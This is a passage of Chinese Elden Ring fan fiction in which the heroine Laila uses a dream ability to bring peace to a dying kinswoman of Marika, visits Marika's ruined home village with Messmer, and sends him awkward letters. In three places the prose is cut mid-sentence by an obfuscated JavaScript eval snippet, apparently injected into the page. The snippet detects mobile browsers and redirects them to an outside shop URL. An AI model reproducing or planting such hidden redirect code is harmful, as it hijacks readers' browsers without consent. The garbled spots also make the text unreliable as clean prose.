希德被萨赞轰走了,梅瑟莫也被恭恭敬敬地请了出去。 萨赞是非常严格的老师。也许是嗓子不好的缘故,他话不多,甚至显得有些怪异寡言,但他学识渊博,用词简练,她在他课上受益颇多,对这个世界有了初步的了解。 黄金树王朝是神权政治,玛莉卡是神明,也是最高统治者。她的子嗣被称为半神,各自拥有头衔和领地。梅瑟莫的情况比较特殊,他率领圣战,被玛莉卡派往幽影地,铲除和黄金树为敌的异端。 黄金树王朝统治的领土被称为交界地,幽影地则是一个里世界,是与世隔绝的死亡汇聚之地。 很久很久以前,玛莉卡亲手将幽影地隐藏了起来。因此若是没有收到召回的指令,留守幽影地的圣战军无法归乡,和遭受放逐没有什么区别。 在漫长的岁月中,部分人舍弃了信仰,堕入了绝望。梅瑟莫和剩下的人坚守幽影城至今,仍然在等待玛莉卡的召令。 幽影地是亡灵和生者共存的奇异世界。夜深人静的时分,曾投身于圣战的士兵化作幽灵后在城内徘徊不去。 “不,这不可能……梅瑟莫大人是玛莉卡大人的孩子,她绝不可能抛弃自己的骨肉……” 那轮廓模糊的亡灵捂着脸跪坐在地,无法承受事实似的前后摇晃。 “这不可能……这不可能……” “若事实真的如此,”那个声音颤抖着说,“若事实真的如此——” 他抓着自己的脸颊,指尖将脸部的皮不断往下拉扯:“圣战……我们的牺牲,又有何意义?” 她当时站在门边,在原地站了很久。 希德劝过她,入夜后就不要在城内随处走动。就算想走动,也应该带上护卫。 不管是生者还是亡灵,精神不稳定的东西太多了。 她对希德说,她想锻炼锻炼胆量。在这之后,她就搬到医疗翼住下了。 这可把火焰骑士急坏了,不论希德怎么劝说,她都没有改变主意。 她在医疗翼睡得不安稳,上课的时候也显得精神萎靡。苍白的脸色甚至引起了梅瑟莫的注意,但多日的努力总算没有白费,她终于找到了自己想找的东西。 在梅瑟莫开口前,她先他一步开口: “梅瑟莫先生,我想带你见一个人。” 医疗翼的病床由幔帐隔开,病床边点着安神的熏香。那团血糊糊的东西躺在被褥里,看起来就像一个人形蜈蚣。 她犹豫了一下,鼓足勇气继续道:“你是不是很多天没睡觉了?” 闻言,红发金眸的半神朝她看来,表情不辩喜怒。 “你想做什么?” “……我需要你帮我一个忙。”她硬着头皮说,“可以请你,在这里睡一觉吗?” 也许是那些血肉模糊的身影过于骇人,也许是那些身影的存在提醒着众人他们无能为力的现实,医疗翼鲜少有访客。两人坐在病床边,这里的空气总是尤其窒闷沉重,不管多少熏香都无法遮盖血肉腐烂的味道。 “请把你的手给我。” 梅瑟莫垂眸凝视她。就在她以为他会拒绝时,苍白宽大的手掌伸到她面前。 停顿片刻,她握住他的手指。他的指甲有点尖,拢在掌心里时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097070|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点硌人。 如同潜水前的运动员,她缓慢地,深深地吸了一口气,然后闭上眼—— 是熟悉的黑暗。 现实骤然远去,空旷的黑暗无边无际。 不同的是,这次她并非孤身一人。 空荡荡的黑暗仿佛能通向任何地方,又仿佛永远不会抵达目的地。她凭着一股直觉,带着梅瑟莫向前走。时间的概念在此并不存在,她不知道两人走了多久,只知道就在不远了。 就在不远了—— “玛莉卡……” 那道声音响起时,她明显感到梅瑟莫微微一僵。 “玛莉卡……” 那声音不男不女,不老不少。在地面上蠕动的臃肿肉块有不同人的四肢,但没有属于自己的脸。 在漫长的时间中,它已经忘记了自己的长相。和那么多人缝合在一起,它已经连自己是谁都记不清了。 哪怕被抽得皮开肉绽,哪怕被塞进堆满肉块的壶里时,它心心念念的只有一件事: “……那孩子成功逃走了吗?” ——那孩子活下来了吗? 它还在往前爬行,因为身体过于臃肿,它看起来就像一个畸形的肉瘤。应该是脸部的位置依稀可见人类的五官,但那些五官位置怪异,明显不属于同一个人。 “……玛莉卡啊……玛莉卡啊……” 那泣血般的声音不断在黑暗中空空回荡。 那么漫长的时间,这是支撑着它的唯一执念。 “她成功逃走了。”她忽然说。 那个肉瘤停下来,血肉模糊的脸转向两人的位置。 她将梅瑟莫往前一推:“玛莉卡已经当妈妈了,这是她的孩子。” 肉瘤静止不动许久,那张血肉模糊的脸,忽然就流下了黏糊糊的血泪。 “……玛莉卡已经当妈妈了?” 它抬起枯瘦的手臂,但梅瑟莫太高了,它够不着。红发金眸的半神弯下腰,他单膝触地,任那怪物抚上自己的脸,极温柔仔细地摸摸他的眉眼,摸摸他的鼻梁,然后又捧住他的脸颊。 “你是玛莉卡的孩子?”它恢复了女性的声音。 好一会儿,梅瑟莫才哑声开口:“我是。” “玛莉卡当妈妈了。”它喃喃道,“玛莉卡当妈妈了。” 丑陋的肉瘤不见了,美丽的金发女性捧着梅瑟莫的脸。她长得和玛莉卡极像,眉眼一弯时,又变回了当年那个会坐在树下给小姑娘梳辫子的女人。 “好孩子。”她声音慈祥。 梅瑟莫的身影不受控制地颤了一下。过于滂湃的情感忽然翻涌而来,他几乎是痉挛了一下,这才极力抑住自己的颤抖。 “好孩子。”女人的声音温柔无比。 “你的名字是?” “……梅瑟莫。” “好孩子。” 她已经太久没正常说过话,只会简单地重复:“好孩子。” 重复着重复着,它又变回了那个肉瘤。那团血肉模糊的东西开始逐渐融化,逐渐消解。它慢慢变得凹瘪,慢慢向内缩小,最后终于化成一滩血水,静静地不动了。 从黑暗中醒来时,那在病床上苟延残喘多年的身影已经咽了气。 ——终于,解脱了。 10.10 雾蒙蒙的光,透过尖拱的穹窗斜落进来。 安神的熏香扩散弥漫,厚重的石墙静默无声。因为尚是白昼,医疗翼内没有点起烛光。灰蒙蒙的天光勾勒出周围的幔帐,和那些躺在病床上的畸形肉块。 哪怕已经完全失去了人类的模样,梅瑟莫依然设立了医疗翼,试图对那些肉块进行救治。 “……抱歉,”她说,“我没有想到事情会变成这样。” 生命体征消失后,躺在病床上的身影甚至连完整的尸首都说不上,只能说是一团面貌模糊的肉糜。 他明明努力了那么久。梅瑟莫和他麾下的火焰骑士一起拼命努力了那么多年,想要治好这些变成肉块的人。 如果她猜的没错的话,这些肉块都是玛莉卡的族人,因此从血缘关系上来讲也是梅瑟莫的族人。 “……你无需为此事道歉。” 沙哑的声音从身畔传来,梅瑟莫的表情隐匿在翼蛇头盔的阴影里。从她的角度望过去只能看见他苍白瘦削的侧影,和那烈焰般猩红的头发。 梦中那剧烈的情绪波动如同错觉,一旦回到现实,红发金眸的半神沉默着,又恢复了平时那冰冷倦怠的姿态。 如同将熄未熄的余烬,只有在极偶尔的时候,才能让人看到灰烬下残存的一丝火光。 “被角人做成壶的时候,她们的命运就已经注定。” 那个身影好像是第一次将这件事说出口。 “变不回来的。” 救不了的。 他低声说:“这已经是最好的结局。” “但是……”她回过神,“你明明……” 梅瑟莫一直坐在病床边没动。 她把后面的话咽了回去。 “……葬礼怎么办?” “这之后的事会有人接手。” 梅瑟莫微微抬起眼帘:“你做的事情已经够多了。” 她下意识离开床畔站了起来:“接下来也请让我帮……” 许是她起身的动作太快,剧烈的眩晕感毫无预兆地袭来。 那症状和低血糖十分相似,她眼前发黑,膝盖一软,再次恢复意识时,她已经被梅瑟莫抱在怀里,自下而上望着他的脸。 金色的竖瞳颤动,她想,她的脸色一定很吓人。但耳朵像是塞了棉花,脑袋嗡嗡作响。她想让梅瑟莫不要担心,身体却像被抽走了所有力气,连开口都很费力。 带翼蛇紧紧贴到她颈侧,仿佛在确认她的生命体征。 她想说,太夸张了。 她努力挪动嘴唇,好半晌,终于以气音般的音量说:“只是……有点累了。” 梅瑟莫抱着她站了起来。以她的体型,他其实单手就能将她托起,但面色苍白的半神用多出来的那只手护住了她的脸侧和后脑勺,大步朝外走去。 她这几天就住在医疗翼,床榻也离此处不远。她试着抬了抬手指,示意梅瑟莫将她搬到那去。 “就在……”那边。 梅瑟莫充耳不闻,红发金眸的半神刚一离开医疗翼,候在长廊里的火焰骑士就迎了上来。 “梅瑟莫大人……” “把萨赞和温戈找来。” 接下来便是一阵训练有素的兵荒马乱。 训练有素是因为火焰骑士动作很快,兵荒马乱则是因为在幽影城漫长的历史中从没出现过这种情况。 她想,梅瑟莫的军队估计都是精锐,没有出现过低血糖的丢人症状。 她说她只是单纯地累了,但所有人都不敢让她睡着。萨赞和温戈给她诊断病情的过程中,带翼蛇焦躁地在梅瑟莫身侧缠来绕去,她还是第一次听到带翼蛇发出嘶鸣。 因为真的太困了,所以哪怕勉励支撑,意识也还是忍不住一点一点滑向黑暗。 “……莱拉!” ……她好久没有睡得这么沉了。 没有奇怪的梦,没有凄厉的惨叫和光怪陆离的画面。没有黑暗,什么都没有。 那种意识断片般的感觉好极了,当她朦朦胧胧从混沌中恢复知觉时,甚至有点想重新昏过去。 但她感到有人在抚摸她的脸,小心翼翼的动作如同对待珍贵的易碎品。那人动作生疏地抚过她的眼角眉梢,带有薄茧的手指体温偏低,尖尖的指甲和普通人也不一样,轻轻滑下她的面庞时让人觉得麻酥酥的,又痒又舒服。 她尚未清醒,下意识想让这人多摸摸自己,不止是脸颊,最好是头发也多摸摸。 那陌生而生涩的温柔让她面颊发麻,轻微改变的呼吸声暴露了她已经醒来的事实,她感到对方动作一僵,像退回巢穴的蛇一样,悄无声息地将手收了回去。 她慢慢睁开眼睛。昏暗的烛火在室内摇曳,高大的半神在床侧投下阴影。梅瑟莫闭着左目,金色的竖瞳神情难辨地望着自己。 开口时,他嗓音低哑,但语气平静:“你睡了整整两天。” 两人对视许久,她说:“……两天?” “你精力耗尽,直接昏睡过去了。” 她回想片刻:“但是,我什么都没做?” 她只不过是将他拉入了梦中,除此之外,一点体力活都没做。 梅瑟莫神色阴沉。 “下次不可如此犯险。你对自己的能力尚不理解,应更加小心谨慎。” 她张了张口,不知道该说什么。 他声音一低:“没有阻止你,我亦有责任。” 那死气沉沉的语气,让她不由得开口:“等一下,你刚才说我的能力……那是什么?” 寝殿的角落里传来咳嗽声。原来寝殿里不止有他们二人。戴着人脸面具的老者躬身朝梅瑟莫行了一礼:“关于这点,还请由我来向莱拉大人解释。” 得到梅瑟莫的默许后,温戈直起身,笑呵呵地道:“莱拉大人,您是稀人。稀人的血肉易于和他人融合,但是您的情况不止步于此,除了血肉易于融合以外,您的精神也呈现出了相同的特性。” 她怔了一下,想起她梦中那些光怪陆离的记忆。 “人在入睡期间容易卸下防备,若我猜得不错,当您情绪不稳定,亦或是靠近其他不稳定的情绪时,会更加容易触发这种精神上的相融。” “体力的消耗会引起□□的疲劳,同理,精力的消耗也会引起精神的疲劳。” 温戈向梅瑟莫的方向看了一眼,继续道:“望您以后能将这点谨记在心。” “至于课业,”他补充,“您的当务之急是好好休息,我和萨赞都认为您该暂缓进度。” “但是……” “没有但是。”温戈笑眯眯地说,“这个安排,梅瑟莫大人也同意。” 她看了梅瑟莫一眼,红发金眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201043|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的半神一言不发。没有反对就是认同,所有人都统一了战线,她只能败下阵来。 “那么,我就不打扰您休息了。” 温戈退下去了,但是梅瑟莫没有离开。 她抬头望着他,他身侧的手指似乎动了动,无意识摩挲了一下指腹。 真奇怪,他似乎很想碰她,但又硬生生地、面无表情地扼制了那股冲动。 “葬礼……”她开口,“已经结束了?” 梅瑟莫沉默片刻。 “已经结束了。” “我可以问一下她葬在哪里了吗?” “你想知道?” 她嗯了一声。 “这几天养好精神。”他移开目光,说,“等你好起来了,你可以去看看。” “……真的?” “没有欺骗你的必要。” 她坐直了点:“我可以出城了?” 梅瑟莫淡淡道:“从一开始就没有人限制你出城。” 仔细想想好像还真是这样。她惧怕城外的世界,一开始根本没想着要再出去,而且如果出去后就回不来了呢?幽影城到目前为止是她待过的唯一安全的地方。 她问梅瑟莫:“怎样算养好精神?” 红发金眸的半神定睛注视她片刻。 “等你脸色不再苍白。” “……” 她心想,梅瑟莫一定不怎么用他寝殿里的镜子。 要说苍白到病态的脸色,有谁及得上他呢。 但是她没有反驳,老老实实地躺了回去。 精神力透支的感觉和低血糖的症状十分相似,她好吃好喝几天,又恢复了平时的状态。 梅瑟莫是守约的人。 幽影城占地面积极广,内部构造错综复杂,外围的城墙高达百丈,是极阴森宏伟的军事要塞。梅瑟莫选了通向幽影城后方的一条路径,从物种保藏库出发,一直下到幽影城底部。 看似普通的礼拜堂,雕像移动后露出暗道。迈出暗道的刹那,世界柳暗花明。 微风拂到脸上时,她没能立刻回过神。巨大的幽影树遮蔽了天光,将大地笼罩在暗沉的阴影中,但此处似乎是例外:漫山遍野的野花在风中摇曳,季节处于永恒的春天。骑着高头大马的骑士在山谷中巡逻,重甲金光灿灿,看起来神圣又尊贵。 她跟在梅瑟莫身边,那骑士只是默默从远方注视着两人,并未上前阻拦。 小径两旁的景色渐渐熟悉起来,她仿佛感到柔和的微风吹起了裙摆,暖洋洋的阳光照耀在身上。不远处,古朴的石头建筑错落有致,她曾在梦中窥见过的村庄渐渐露出面貌,如同温柔的母亲朝归乡的游子张开怀抱。 一切似乎回到了惨案前的模样,没有熊熊燃烧的火海,没有面貌可憎的角人。 没有悲伤、愤怒、和绝望,只剩下记忆中最初的美好。 这是人为创造的净土,但那人已经离去许久,重建复原的建筑已经爬满藤蔓,石头缝隙里也冒出青苔。 村子中央空空荡荡,一棵小小的黄金树散发着光芒,将周围的花海笼罩在那温柔的金色之中。 她和梅瑟莫站在那被花海包围的村落前。 风声拂过,花叶簌簌作响。 “这是……?” 闭着左目的半神说:“这是我母亲的故乡。” 11.11 母亲很少露出笑容。 那双纯金色的眼瞳总是如同雷云密布的天空,深邃似黑暗宇宙中的星河。被注视之人不是在恐惧中战兢臣服,就是被那噬人心魄的美丽所折服。 恐惧是统治笼络人心的手段,美丽同样也是如此。 通往繁荣盛世的道路注定要用累累尸骨堆砌而成,建立在尸山血海上的王朝最为宏伟壮丽。巨大的黄金树遮天蔽日,拥有永恒之名的女王为世间降下丰饶,用雷霆手段封去了死亡的阴影。 那是光辉灿烂的时代。人们用虔诚的声音呼唤玛莉卡女王的名字,君王和骑士颤抖着亲吻金发女神的指尖,跪地俯首向她宣誓效忠。 但在黄金王朝创立之先,在死亡被封印之前,当玛莉卡这个名字尚未被冠以永恒的诅咒时,曾有一段非常短暂的时光,她只是他的母亲。 她只是他一个人的母亲。 他生来便背负诅咒,体内盘踞着会吞噬光明的蛇。他视物困难,世界灰蒙黯淡,只有母亲是他唯一的光。 「梅瑟莫。」 母亲很少露出笑容,但母亲的手总是十分温暖。 他记得那双手——会牵着他,抱着他,会温柔地抚摸他头发和脸颊的手。 「梅瑟莫。」 当他为她寻来野花时,母亲的声音会流露出近似笑意的波澜。 如同重温旧梦般,那笑意总是十分短暂。 因为太久没有露出笑容,所以声音里的笑连自己都觉得陌生。 母亲好像有点认不出自己的笑声,有点忘记自己以前是怎么笑的了。那浅淡的笑意总会很快就被收起来,折回母亲鲜少提及的过去。 他是母亲的第一个孩子,是母亲失去所有族人后,在漫长的时光里重新拥有的第一个血脉相连的家人。 母亲不知道要怎么当母亲。她好像已经很久没有去爱一个人了。 母亲的手并不柔软,因为常年征战而覆盖薄茧。 他记得母亲的手,记得那双手挖掉他已经废掉的眼球时,指尖最轻微的颤抖。 「别哭,妈妈。」 冰凉湿润的液体落到脸上,混杂着温热的血液一起流淌下来。他体内传来剧烈的疼痛,但那疼痛和被挖去的眼睛无关。 「别哭了,妈妈。」 孩子生来便和母亲一个阵营。 母亲的敌人便是他的敌人。 母亲的伤痛便是他的伤痛。 当世人见到永恒女王玛莉卡时,他们见到的是高高在上的女神,见到的是那位光辉灿烂、被无上意志选中的代言人。 可他记住的永远是母亲无言时,那双金色的眼瞳深处压藏在愤怒和憎恨之后的悲伤。 永恒女王玛莉卡创建了黄金王朝,但在梦中,火海依然在燃烧,她依然在暗夜里奔跑,背着陷落火海的村庄,在黑夜里永不停歇地奔逃。 年幼的时候,他会想,如果当年他早点出生就好了,出生在母亲的故乡被角人焚毁之前,出生在母亲的族人被残忍屠戮之前。 他幻想着割下那些角人的头颅,止住母亲心中的眼泪。 后来他执掌大军,屠尽和黄金律法相悖的秽物。就算回不到过去也没关系,他会杀光一切和母亲为敌的东西,他会保证相同的惨案不会再次发生。 他在梦中朝着空无一人的黑暗说:「别哭了,妈妈。」 但她已经许久没有来他梦中了。 「妈妈……」 「妈妈……」 那声音低下去,最后只剩下蛇类的嘶鸣。 ……啊。 啊啊。 和黄金树为敌的生物,这里不是还有一只吗。 不会熄灭、永远焚烧的火,这不也在他体内燃烧吗。 母亲的腹中怎会爬出他这样的蛇来呢。 母亲啊。 母亲啊。 但在那黑暗的梦中,他始终只能发出蛇类的嘶鸣。 …… 漫山遍野的花海,爬满青苔的村落空无一人。 金色的光点在空中飞舞,村子北面伫立着一棵大树。那棵树曾经枝繁叶茂,如今只剩下树干和光秃的枝桠。 “也就是说,你的右眼是义眼吗?” 她跟在梅瑟莫身边,高大的半神得特意放慢步伐,她才不用小跑着跟上。 闻言,金色的竖瞳微微下撇,映出她略带几分好奇的表情。转回视线后,梅瑟莫低低地应了一声,算是回复。 在两人周围,漫无边际的花海开得烂漫。金芒的碎片在空中浮动,风声拂过时,柔软的花叶低声轻吟。那声音让人想起潮起潮落的大海,浮着白沫的海浪卷上岸边时,也会发出这种沙沙的声响。 “我觉得很漂亮。” 反应过来自己说了什么后,她磕磕巴巴地补充:“当然,我见过的义眼也不多,但就是觉得你的特别好看……” 完了,她在说什么。 她觉得自己很奇怪。也许是太久没出门了,跟在梅瑟莫身边时,她恨不能变成一只小鹿,蹦蹦跳跳地跑到前面,在花田里打一个滚,然后再抖抖草叶蹦回他身边,兴高采烈地问他,她刚才滚得好不好看?好不好看?要不要再看一次? 两人来到村子尽头的大树底下,大概是看出了点什么,梅瑟莫说她可以自由行动。 她在周围探索一圈回来后,高大的半神依然驻足在树下。红色的带翼蛇垂着翅膀圈在他肩头,今天倒是难得安静乖巧。 第一次见他的时候她就注意到了,他似乎脊柱有些侧弯,站立的时候身体重心会向右侧倾斜。再配上那苍白得像石膏的肤色,给人的感觉就像……一条生病的蛇? 病恹恹、阴森森、说话的时候也总给人一种拖着尾音的感觉,仿佛对于开口这件事情都感到倦怠。 “……何事?” “……没什么。”她说,“就是想看看你还在不在。” “这附近很安全。”梅瑟莫的语调没有起伏,“不会有敌人出现。” 她想到那些在村子周围巡逻的骑兵。那些骑兵手中的重锤,一锤子下来能直接把人砸成肉饼,怪不得这附近这么和平安宁,因为根本没有活物敢闹事。 又过了一会儿,她从覆满藤蔓的石头建筑旁探出头。 “我可以摘点花吗?”她问。 “……随你。” 窸窸窣窣,窸窸窣窣。片刻后,她穿过花海回来了。 她来到他身边,在大树底下放了一束花。村子周围开满了这些紫色的、橙色的、白色的花,随风摇曳时美得就像一幅画。 她对梅瑟莫的带翼蛇说:“前几天让你们担心了,这是谢礼。” 带翼蛇凑到她面前,她将编好的花环放到它头上,于是它立刻呆住不动了。 另一条带翼蛇绕过来,她也给它准备了一个花环,戴到它头上后,它也僵住不动了。 两条带翼蛇昂首停在空中,小心翼翼地保持着平衡,免得头上的花环掉下来。 “因为梅瑟默先生已经有头盔了,所以就没有为你准备。”她将手背到身后,有些心虚地说,“希望你不介意。” “……” 梅瑟莫冷淡地别过视线:“我不需要。” “我话还没说完。” 她组织了一下语言,然后发现组织语言也无用,干脆挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233199|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起胸膛用最公事公办的语气说: “我今晚可以去找你吗?” 带翼蛇头上的花环掉了下来。 两条蛇同时转过头,盯着她看。盯了一会儿,又拼命去咬梅瑟莫肩头的穗子,咬得可用力了。 然而梅瑟莫一动不动,好像根本没听见她刚才说了什么。 “啊……”她说,“我不是那个意思。因为我有那个能力,所以你知道……” “我知道。”梅瑟莫面无表情地打断了她的话。 不,她怀疑他根本就不知道她打算做什么,因为她其实心里也没谱。 她谨慎确认:“你答应了?” 梅瑟莫没有回答。红发金眸的半神离开树下,看样子是打算打道回府。 她抱着怀里的花,赶紧三步并做两步跟上去——没有梅瑟莫带路她肯定会迷路。 “那边的人好像在盯着我。”她说,“我是不是做错什么事了?” 花海边缘,骑在高头大马上的身影面部表情完全被黄金的头盔遮盖,但沉默的视线毫无疑问在随着她移动。 “无需理会。” 梅瑟莫抬眼望去,那马上的身影转过头,策马朝远方走去。 两人回到幽影城。巡逻的士兵,站岗的骑士,徘徊在书架间的黑色幽灵,纷纷朝她怀里的花看来。她终于意识到这鲜艳明丽的色彩和死气沉沉的幽影城有些格格不入。 “……我可以把花放到我的房间里去吗?” 不知触及哪个关键词,梅瑟莫停下步伐,问她:“你选了哪个房间?” “一开始的时候,不是分了我一个客房吗?”她缓慢眨眼,“现在有人住了?” 原来她可以选房间的吗? 她开始思考幽影城有多少空置的房间。 带翼蛇又开始咬梅瑟莫的穗子。 梅瑟莫别过视线。 “没有换房间的必要。” “?” 他嗓音微低:“把花放到寝殿里即可。” 积压了几天的公文还在等待批阅,幽影地的统治者并不是一个闲职,高大的半神很快身影消失在会议厅里。守在大厅两侧的火焰骑士恭恭敬敬地关上门,她站在原地,不知道该去哪,黑色的幽灵侍女不知从何处冒出来,轻轻拉了拉她的衣袖,示意她回寝殿。 在散发着朦胧微光的蓝色花束旁,她添了一束幽影城后门盛开的花。 入夜后,她合上眼。 熟悉的黑暗中,红色的身影立在不远处。他原来真的在等她。 她奔过去。 红发金眸的半神垂下眼,说:“你唤我来此,是因为何事?” 她将双手交握于身前。 “……有些记忆,我觉得还是交给你最好。” 黑暗轻轻泛起波澜,涟漪开始扩散。 周围的空气如水波动了一下,当梅瑟莫再次抬起眼帘时,两人已经置身于熟悉又陌生的花海。 温暖的阳光倾洒下来,远方的大树枝繁叶茂。古朴的石头建筑光洁平整,钟楼不见青苔和藤蔓的踪影。 金发的少女奔跑着穿过花海,掠过两人身侧时带起一阵温暖的微风。 「玛莉卡——」 村子里的女人们笑着呼唤她的名字。 「是玛莉卡回来啦。」 少女的头发是纯金般美丽的颜色,她亲昵地抱住姨母的手臂,脸上绽开灿烂的笑容。 记忆这种东西并不会消失。 也许会在漫长的时间中被遗忘,被掩藏。 但曾经存在过的时光,并不会从人的灵魂中消失。 那是他母亲曾经的模样。 12.12 一个黑色的幽灵侍从穿过长廊。 灵体边缘微微发光,他身着长袍,肩系斗篷,手里端着各地信使送来的重要文件。 每到月底,幽影地各处的军事要塞都会呈上报告。上至角人残党的位置和动向,下至道路的维持和修缮,这些事项都需要经由幽影地的最高统治者过目之后下达指令。 火把在墙侧摇曳,守在会议厅两侧的火焰骑士瘦削高挑,身影笔直如剑。 得到许可后,那个幽灵侍从踏入会议厅。历史悠久的大厅石墙厚重,尽头的壁炉燃烧着猩红的火光。绘着军徽的刺绣挂毯从高高的天花板垂落下来,巨大的油画被岁月的痕迹腐蚀,斑驳地拼凑出往昔的景象。 红发的半神坐在高背椅上,带翼蛇缠在身侧。壁炉的火光在那张苍白瘦削的面容上投下阴影,蛇一般的金色竖瞳敛着幽光,看起来阴郁又森冷。 黑色的幽灵侍从垂下头,恭恭敬敬地呈上信件。 书桌边垒着已经处理好的公文,朱红的封蜡上印着梅瑟莫的图章。 佩戴在中指上的戒指是权力的象征,而他左手的印章戒指,每到月末都会成为蜡封文件的图章印信。 那个黑色的幽灵侍从取了处理好的公文,正要离开,守在物种保藏库那边的火焰骑士托着什么东西进来了。 那是一块普普通通的蜡板,大小和普通的信笺差不多,上面的字迹七扭八歪,一看就出自不经常书写这语言的人之手。 火焰骑士低声和梅瑟莫说了些什么。 那蜡板似乎拥有极其重要的意义,因为还没处理好的公文都被推到了一边给它让路。 梅瑟莫拿起那块蜡板,带翼蛇也凑近前来。 「尊敬的梅瑟莫先生:」 一人一蛇的视线移到蜡板的第二行。 「跪安。」 “……” 带翼蛇露出了智慧的眼神。 「非常感谢泥的收留,我最近在奴隶学习这个世界的蚊子。」 「这缝信若有写得不当的敌方,还请泥见谅。」 在这段落下面,是写得非常努力但依然像蜘蛛在爬的落款: 「谨嘁, 莱拉」 和梅瑟莫一起读信的带翼蛇,表情始终充满智慧,看起来近乎慈祥。 “这是温戈大人给莱拉大人布置的作业。”旁边的火焰骑士低声补充。 接下来一连几天,都有物种保藏库那边的火焰骑士来送信。 一开始那些信还会认认真真地附上问候语和祝语,措辞也十分礼貌正式,到了后面却不知怎的愈发随意,变得和课堂上传阅的小纸条差不多。 「梅瑟莫先生,幽影城一年三百六十五天有三百六十天都是阴天吗?」 「梅瑟莫先生,你的带翼蛇有名字吗?平时给摸吗?」 「护城河那边的河马是它当初自己跑进来的,还是特意牵进来的?它有编制吗?」 「……」 「今天的面包有些硬,但幸好有麦粥。」 「梅瑟莫先生,人真的是能连续一个月天天啃面包的生物吗?」 「面包蘸橄榄油虽然也不错,但果然和黄油才是真正的绝配。为什么幽影城没有黄油呢?」① 「想念涂抹黄油的面包。」 过了几天,火焰骑士再次呈上信件。 「今天的餐桌上出现了黄油,幸福。推荐梅瑟莫先生也品尝美味的黄油面包。」 这是最后一封来信。 书桌上,处理好的公文分门别类,码得整整齐齐。 黑色的幽灵侍从取回处理好的公文,躬身行礼正要退下。 “……物种保藏库。”红发金眸的半神开口说,“没有来信?” 守在大厅门口的火焰骑士,不动声色地朝里面看了一眼,然后又不动声色地转回头,继续目视前方。 那名幽灵侍从有些惶恐地直起身,无言地摇了摇头。 物种保藏库。七楼。 阅读室内,裹着猩红兜帽的火焰骑士立在巨大的地图旁。幽影地北面是高原,南面是低洼的海岸。幽影城坐北朝南,背靠幽影树而建,是通往各地的交通要冲。 因为再过不久就有考试,她非常认真地记着笔记。希德本来想向萨赞进言,就算备考也不应耽误温戈那边的作业,但还没说几句就被萨赞请了出去。 一心扑在学习上,她连梅瑟莫是何时来到阅读室的都没有注意。 最先反应过来的是萨赞。兜帽似章鱼的火焰骑士无奈地叹息一声,她抬起头。 “今天的授课就到此为止。” “……诶?” 她顺着萨赞的视线望过去,这才看到立在门边的梅瑟莫。 她一下站起身,梅瑟莫似乎没想好开场白。两人对视半晌,最后是她开口打破了阅读室内的寂静。 “梅瑟莫先生……是来这里找书的吗?” 萨赞视线古怪。明明被巨大的兜帽遮去了神情,但就是能让人感受到他此刻心情微妙。 梅瑟莫略略撇开目光。 “……嗯。” 她一下子来了劲:“你想找什么样的书?” 话刚说完,她想起萨赞还在,论对物种保藏库的熟悉,哪里轮得到她帮人找书。 候在阅读室外的希德咳嗽起来。 下课后,一般都是由希德送她回去。从物种保藏库到塔楼,短短的一段路,希德坚持她需有人同行,但今天似乎是例外。 萨赞语气平平地开口:“属下身体不适,还请容属下告退。” 萨赞走了,希德也跟着走了。希德走的时候甚至没有和梅瑟莫打一声招呼,梅瑟莫也没计较。 “我已经不会在物种保藏库迷路了。”她走在前面,和梅瑟莫汇报自己的进度。 那种奇怪的、轻快的心情又来了,让人走路都带点蹦跳,胸腔里的心脏也变得明亮轻盈。 她和他絮絮叨叨地讲她最近课上学了什么,温戈和萨赞在教学方面的一些小摩擦,物种保藏库这近十年有哪些书架移了位置。 高大的红发半神默默听着,偶尔会来一句“然后?”于是她又能兴高采烈地继续讲下去。 “物种保藏库一共有十七个蝙蝠窝。”她转过身说,“最近有一窝蝙蝠生了崽,希德让我小心点,因为抚养幼崽的蝙蝠会变得攻击性极强……” 说话期间,她没注意到身后的楼梯,梅瑟莫突然伸出手,在她将要踩空的那一刻,一把将她拉了回来。 忽然贴到男人的怀抱里,被苍白的手臂搂住腰肢,她无意识地,小小地啊了一声,尾音陷在喉咙深处。 梅瑟莫僵住了。 高大的红发半神一动不动,她被他单手搂着,脚尖踩不到地,完全贴在他身上。那奇怪的声音真的不能怪她,如同身体本能的反应,不受她主观意志掌控。 柔软的身躯贴在冰冷的锁子甲上,她看不到梅瑟莫的脸,只能感到他手臂紧绷的肌肉,以及僵硬的胸膛。 就像被冰冷的石膏像抱住一样。 但不同的地方在于人的皮肤是柔软的,体温是温热的。 还有气息。 像是木炭燃烧过后残余的香气,让人头晕目眩。 